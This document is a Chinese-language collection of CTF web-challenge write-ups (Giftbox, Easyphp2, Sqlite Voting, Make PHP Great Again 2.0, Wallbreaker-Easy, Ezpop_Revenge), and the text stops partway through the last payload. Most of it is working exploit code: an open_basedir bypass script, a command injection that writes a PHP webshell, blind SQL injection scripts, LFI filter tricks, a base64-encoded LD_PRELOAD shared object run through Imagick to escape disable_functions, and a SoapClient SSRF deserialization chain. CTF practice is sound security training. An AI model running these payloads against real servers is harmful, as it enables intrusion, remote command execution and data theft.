[De1CTF 2019]Giftbox
login命令处盲注获取登录密码
登陆后其他可用命令
- targeting code position =>储存一条 $code = “position”;
- launch => 将上面 targeting 起来的 code 按照字典序跑一遍。
- destuct => 清空,恢复初始状态
利用php的动态变量执行函数{$a($b)},外面包个 {},里面的东西会被执行后拿返回值
还存在有 open_basedir 使用https://xz.aliyun.com/t/4720 的方法绕过
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import time import requests import pyotp as pyotp totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5) session = requests.session() url = 'http://42b47b4d-6e02-4ac0-abfb-e3dc1f03def5.node4.buuoj.cn:81/' def login(): time.sleep(0.5) r = session.get(url+'shell.php',params={'a': 'login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}', 'totp': totp.now()}) return r.json() def targeting(code, position): time.sleep(0.5) r = session.get(url+'shell.php', params={'a': 'targeting ' + code + ' ' + position, 'totp': totp.now()}) return r.json() def launch(): time.sleep(0.5) r = session.get(url+'shell.php', params={'a': 'launch', 'totp': totp.now()}) return r.text def destuct(): time.sleep(0.5) r = session.get(url+'shell.php', params={'a': 'destruct', 'totp': totp.now()}) return r.json() def main(): login() destuct() targeting("a", "chdir") targeting("b", "img") targeting("c", "{$a($b)}") targeting("d", "ini_set") targeting("e", "open_basedir") targeting("f", "..") targeting("g", "{$d($e,$f)}") targeting("h", "{$a($f)}") targeting("i", "{$a($f)}") targeting("j", "Ly8v") targeting("k", "base64_") targeting("l", "decode") targeting("m", "$k$l") targeting("n", "{$m($j)}") targeting("o", "{$d($e,$n)}") targeting("p", "flag") targeting("q", "file_get") targeting("r", "_contents") targeting("s", "$q$r") targeting("t", "{$s($p)}") print(launch()) if __name__ == '__main__': main() |
[羊城杯 2020]Easyphp2
主页提示:抱歉,只有来自GWHT的人才允许访问此网站。23333
可以看到页面是通过包含的方式加载的,可能存在LFI漏洞,url两次编码绕过
不编码的话
过滤了一些编码方式
php://filter/convert.%6%32ase64-encode/resource=GWHT.php
或者使用其他的两种过滤器:
?file=php://filter/read=convert.iconv.utf-8.utf-16be/resource=GWHT.php ?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php |
也就是说要执行下面的exec就要伪造这个session但环境变量的值我们显然无法获取
扫描知道存在robots.txt 提示check.php 读取查看,得到pass
?file=GWHT.php&count='|echo+"<?=+eval(\$_POST['shell'])?>"+>+shell.php'
利用了PHP中的短开标签 <?= 绕过过滤
带上cookie:pass=GWHT去访问,写马
使用find命令找到flag文件位置,属性为0440,我们没有权限打开
目录下发现readme文件,内容为HASH值,解密后的是密码
printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
[HarekazeCTF2019]Sqlite Voting
Sql语句是update注入
还过滤了常见的一些关键字
这里可以利用sql语句执行成功与否不同的回显,进行盲注。但是考虑到它过滤了 ' 和 " 这就无法使用字符进行比较判断,char 又被过滤也无法使用 ASCII 码比较判断
这里wp使用的方法比较巧妙:
- 使用 hex 进行字符判断,将所有的的字符串组合用有限的 36 个字符
- 对 flag 16 进制长度的判断,假设它的长度为 x,y 表示 2 的 n 次方,那么 x&y 就能表现出 x 二进制为 1 的位置,将这些 y 再进行或运算就可以得到完整的 x 的二进制,也就得到了 flag 的长度,而 1<<n 恰可以表示 2 的 n 次方
- 构造报错语句:在 sqlite3 中,abs 函数有一个整数溢出的报错,如果 abs 的参数是 -9223372036854775808 就会报错,同样如果是正数也会报错
- 然后考虑逐字符进行判断,但是 is_valid() 过滤了大部分截取字符的函数,而且也无法用 ASCII 码判断
- 这一题对盲注语句的构造很巧妙,首先利用如下语句分别构造出 ABCDEF ,这样十六进制的所有字符都可以使用了,并且使用 trim(0,0) 来表示空字符
# hex(b'zebra') = 7A65627261 # 除去 12567 就是 A ,其余同理 A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' C = 'trim(hex(typeof(.1)),12567)' D = 'trim(hex(0xffffffffffffffff),123)' E = 'trim(hex(0.1),1230)' F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' # hex(b'koala') = 6B6F616C61 # 除去 16CF 就是 B B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})' |
- 然后逐字符进行爆破,已经知道 flag 格式为 flag{} ,hex(b'flag{')==666C61677B ,在其后面逐位添加十六进制字符,构成 paylaod
- 再利用 replace(length(replace(flag,payload,''))),84,'') 这个语句进行判断
- 如果 flag 不包含 payload ,那么得到的 length 必为 84 ,最外面的 replace 将返回 false ,通过 case when then else 构造 abs 参数为 0 ,它不报错
- 如果 flag 包含 payload ,那么 replace(flag, payload, '') 将 flag 中的 payload 替换为空,得到的 length 必不为 84 ,最外面的 replace 将返回 true ,通过 case when then else 构造 abs 参数为 0x8000000000000000 令其报错
trim(X,Y)函数返回一个字符串,该字符串通过从X的两端删除Y中出现的所有字符而形成。如果省略Y参数,trim(X)将从X的两端删除空格。
长度判断脚本:
import requests url = " http://572399b3-321d-46cf-9543-25eb544172f0.node4.buuoj.cn:81/vote.php" l = 0 for n in range(16): payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)' data = { 'id' : payload } r = requests.post(url=url, data=data) print(r.text) if 'occurred' in r.text: l = l|1<<n print(l) |
Exp:
import binascii import requests import time URL = 'http://572399b3-321d-46cf-9543-25eb544172f0.node4.buuoj.cn:81/vote.php' l = 84 header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36'} table = {} table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' table['C'] = 'trim(hex(typeof(.1)),12567)' table['D'] = 'trim(hex(0xffffffffffffffff),123)' table['E'] = 'trim(hex(0.1),1230)' table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})' res = binascii.hexlify(b'flag{').decode().upper() for i in range(len(res), l): for x in '0123456789ABCDEF': t = '||'.join(c if c in '0123456789' else table[c] for c in res + x) r = requests.post(URL, data={ 'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)' },headers=header) if 'An error occurred' in r.text: res += x break time.sleep(0.06) # print(f'[+] flag ({i}/{l}): {res}') print('flag(hex): ',res) i += 1 # print('[+] flag:', binascii.unhexlify(res).decode()) print(binascii.unhexlify(res).decode()) |
还有一种是通过两遍hex是把所有字母也转换成数字,这样就是纯数字了,这里因为sqlite3里面hex后得到的是大写字母,所以需要upper处理下,除此之外的思路是一样的
from random import randint from time import sleep import requests def help_replace(s): hex1 = ''.join([hex(ord(i))[2:].zfill(2) for i in s]) hex2 = ''.join([hex(ord(i))[2:].zfill(2) for i in hex1.upper()]) return '||'.join(hex2) def post(payload): url = 'http://572399b3-321d-46cf-9543-25eb544172f0.node4.buuoj.cn:81/vote.php' data = {'id': payload} r = requests.post(url, data = data) while r.status_code == 429 or (r.status_code == 404 and '喵' in r.text): sleep(randint(1, 3)) r = requests.post(url, data = data) return r def check(temp, guess): payload = temp.format(guess) r = post(payload) if 'An error occurred while updating database' not in r.text: return True return False strs = '0123456789abcdef-}' flag = 'flag{' length = 'abs(case(replace(length((select(flag)from(flag))),{},trim(0,0)))when(trim(0,0))then(0x100)else(0x8000000000000000)end)' info = 'abs(case(replace(length(replace(hex(hex((select(flag)from(flag)))),{},trim(0,0))),{},trim(0,0)))when(trim(0,0))then(0x100)else(0x8000000000000000)end)' """ # length 42 for i in range(1, 101): if(check(length, i)): print('length:', i) break """ for i in range(1, 38): for s in strs: guess = flag + s if(check(info.format('{}', (37 - i) * 4), help_replace(guess))): flag = guess print(flag) |
[WMCTF2020]Make PHP Great Again 2.0
存在LFI,由于require_once的原因,直接读取flag.php 或者index.php都不会成功
/proc/self/root/是指向/的符号链接,require_once,在对软链接的操作上存在一些缺陷,似乎并不会进行多次解析获取真实路径
?file=php://filter/read=convert.quoted-printable-encode//resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
0CTF-2019-Wallbreaker-Easy
可以通过蚁剑的模块进行一键bypass
Json Serializer UAF && PHP7 GC with Certain Destructors UAF
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
影响范围是linux,php7.0-7.3
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
但还是按原预期走一遍。
无需sendmail:巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户
思路与此文并无不同
通过LD_PRELOAD劫持系统函数,但前提是得控制 php 启动外部程序才行(只要有进程启动行为即可,无所谓是谁),原文是选择mail()函数但在这题的环境中同样被禁用,所以使用蚁剑模块的LD_PRELOAD模式无法成功。
php-imagick调用ImageMagick完成劫持,实现命令注入。
- php - Imagick 是用 调用ImageMagic API 来创建和修改图像的PHP官方扩展。
- ImageMagick® 是用来创建,编辑,合并位图图像的一套组件。 它能够用于读取,转换,写入多种不同格式的图像。 包含 DPX, EXR, GIF, JPEG, JPEG-2000, PDF, PhotoCD, PNG, Postscript, SVG, 和 TIFF。
ImageMagick能够完成多种格式之间的转化,并非全部内置功能实现转换方式。ImageMagick有一个功能叫做delegate(委托),可以调用外部的lib来处理文件,而调用外部lib的过程是使用系统的system命令。
在bmp->jxr,bmp->wdp等格式转化时,会调用mv,JxrEncApp外部命令程序,调起了新进程
通过 ImageMagick 来触发新进程的产生, 并通过修改 LD_PRELOAD 的方式来执行任意系统命令
backdoor=$raw=base64_decode("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AAAAAAAAAAMAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAMAEwAoCSAAAAAAAAAAAAAAAAAAAAAAAAMAFADoCiAAAAAAAAAAAAAAAAAAAAAAAAMAFQAYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFgBYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgCyAAAAAAAAAAAAAAAAAAAAAAAAMAGAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAGQAAAAIACwDABgAAAAAAAAAAAAAAAAAALgAAAAIACwAABwAAAAAAAAAAAAAAAAAAQQAAAAIACwBQBwAAAAAAAAAAAAAAAAAAVwAAAAEAFwBgCyAAAAAAAAEAAAAAAAAAZgAAAAEAEQAYCSAAAAAAAAAAAAAAAAAAjQAAAAIACwCQBwAAAAAAAAAAAAAAAAAAmQAAAAEAEAAICSAAAAAAAAAAAAAAAAAAuAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAzQAAAAEADwAACQAAAAAAAAAAAAAAAAAA2wAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAA5wAAAAEAFgBYCyAAAAAAAAAAAAAAAAAA9AAAAAEAEwAoCSAAAAAAAAAAAAAAAAAA/QAAAAEAFgBgCyAAAAAAAAAAAAAAAAAACQEAAAEAFQAYCyAAAAAAAAAAAAAAAAAAHwEAABIAAAAAAAAAAAAAAAAAAAAAAAAAMwEAACAAAAAAAAAAAAAAAAAAAAAAAAAATwEAABAAFgBgCyAAAAAAAAAAAAAAAAAAVgEAABIADABgCAAAAAAAAAAAAAAAAAAAXAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAcAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAfwEAABEAAAAAAAAAAAAAAAAAAAAAAAAAlAEAABAAFwBoCyAAAAAAAAAAAAAAAAAAmQEAABAAFwBgCyAAAAAAAAAAAAAAAAAApQEAABIACwDABwAAAAAAAJ0AAAAAAAAArQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAwQEAABEAAAAAAAAAAAAAAAAAAAAAAAAA2AEAACAAAAAAAAAAAAAAAAAAAAAAAAAA8gEAACIAAAAAAAAAAAAAAAAAAAAAAAAADgIAABIACQA4BgAAAAAAAAAAAAAAAAAAFAIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAHJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjY2NzAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AGJ5cGFzc19kaXNhYmxlZnVuYy5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBnZXRlbnZAQEdMSUJDXzIuMi41AF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfZWRhdGEAX2ZpbmkAc3lzdGVtQEBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBlbnZpcm9uQEBHTElCQ18yLjIuNQBfZW5kAF9fYnNzX3N0YXJ0AHByZWxvYWQAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX2Vudmlyb25AQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AHN0cnN0ckBAR0xJQkNfMi4yLjUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAACQAQAAAAAAAJABAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAuAAAA9v//bwIAAAAAAAAAuAEAAAAAAAC4AQAAAAAAADwAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAOAAAAAsAAAACAAAAAAAAAPgBAAAAAAAA+AEAAAAAAADIAQAAAAAAAAQAAAACAAAACAAAAAAAAAAYAAAAAAAAAEAAAAADAAAAAgAAAAAAAADAAwAAAAAAAMADAAAAAAAAygAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABIAAAAbwIAAAAAAAAAigQAAAAAAACKBAAAAAAAACYAAAAAAAAAAwAAAAAAAAACAAAAAAAAAAIAAAAAAAAAVQAAAP7//28CAAAAAAAAALAEAAAAAAAAsAQAAAAAAAAgAAAAAAAAAAQAAAABAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAEAAAAAgAAAAAAAADQBAAAAAAAANAEAAAAAAAA8AAAAAAAAAADAAAAAAAAAAgAAAAAAAAAGAAAAAAAAABuAAAABAAAAEIAAAAAAAAAwAUAAAAAAADABQAAAAAAAHgAAAAAAAAAAwAAAAoAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAADgGAAAAAAAAOAYAAAAAAAAaAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAABgBgAAAAAAAGAGAAAAAAAAYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAAwAYAAAAAAADABgAAAAAAAJ0BAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAhAAAAAEAAAAGAAAAAAAAAGAIAAAAAAAAYAgAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIoAAAABAAAAAgAAAAAAAABpCAAAAAAAAGkIAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACSAAAAAQAAAAIAAAAAAAAAhAgAAAAAAACECAAAAAAAABwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAoAAAAAEAAAACAAAAAAAAAKAIAAAAAAAAoAgAAAAAAABkAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAKoAAAAOAAAAAwAAAAAAAAAICSAAAAAAAAgJAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAC2AAAADwAAAAMAAAAAAAAAGAkgAAAAAAAYCQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAwgAAAAEAAAADAAAAAAAAACAJIAAAAAAAIAkAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAMcAAAAGAAAAAwAAAAAAAAAoCSAAAAAAACgJAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAADQAAAAAQAAAAMAAAAAAAAA6AogAAAAAADoCgAAAAAAADAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA1QAAAAEAAAADAAAAAAAAABgLIAAAAAAAGAsAAAAAAABAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAN4AAAABAAAAAwAAAAAAAABYCyAAAAAAAFgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADkAAAACAAAAAMAAAAAAAAAYAsgAAAAAABgCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6QAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAYAsAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAIQLAAAAAAAA8gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAB4DAAAAAAAAIgFAAAAAAAAGwAAACsAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAoAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA==");file_put_contents("/tmp/22e436c8d22caf9e0b5c3d2964737531/bypass.so",$raw);putenv("EVIL_CMDLINE=bash -c /readflag > /tmp/22e436c8d22caf9e0b5c3d2964737531/output");putenv("LD_PRELOAD=/tmp/22e436c8d22caf9e0b5c3d2964737531/bypass.so");file_put_contents("/tmp/22e436c8d22caf9e0b5c3d2964737531/test.mpeg", "mpeg");$thumb = new Imagick("/tmp/22e436c8d22caf9e0b5c3d2964737531/test.mpeg"); |
记得修改tmp后的路径,然后读取output即可
[MRCTF2020]Ezpop_Revenge
/www.zip获取源码
Flag需要本地访问才可以获取,即利用ssrf ,php原生类的soap就存在一个ssrf的反序列化利用
全局搜索serialize在Plugin.php找到了反序列化入口
同时在Plugin.php中搜索flag
跟进Typecho_Db类,发现存在字符串拼接,且参数可控
全局查找可被利用的_toString魔术方法,/var/IXR/Typecho/Db/Query.php的Typecho_Db_Query类中存在__tostring方法
由switch语句判断,当$this->_sqlPreBuild['action']为SELECT,就会return一个 $this->_adapter->parseSelect($this->_sqlPreBuild), 控制私有变量$_adapter为soap类,由于soap的parseSelect方法并不存在,所以就会触发soap的__call方法来打到本地访问的目的ssrf访问flag.php
<?php //第一步 反序列化HelloWorld_DB class HelloWorld_DB{ private $coincidence; function __construct(){ $this->coincidence = ['hello' => new Typecho_Db_Query()]; } function __wakeup(){ $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']); } } # 2. 实例化Typecho_Db class Typecho_Db { public function __construct($adapterName, $prefix = 'typecho_') { $this->_adapterName = $adapterName; # 这里触发__toString $adapterName = 'Typecho_Db_Adapter_' . $adapterName; $this->_prefix = $prefix; $this->_adapter = new $adapterName(); } } # 3触发Typecho_Db_Query中 _toString class Typecho_Db_Query { private $_sqlPreBuild; private $_adapter; public function __construct() { $target = 'http://127.0.0.1/flag.php'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=test12345678' ); $b = new SoapClient( null, array( 'location' => $target, 'user_agent'=>"xxxx\r\n".join("\r\n",$headers), 'uri' => 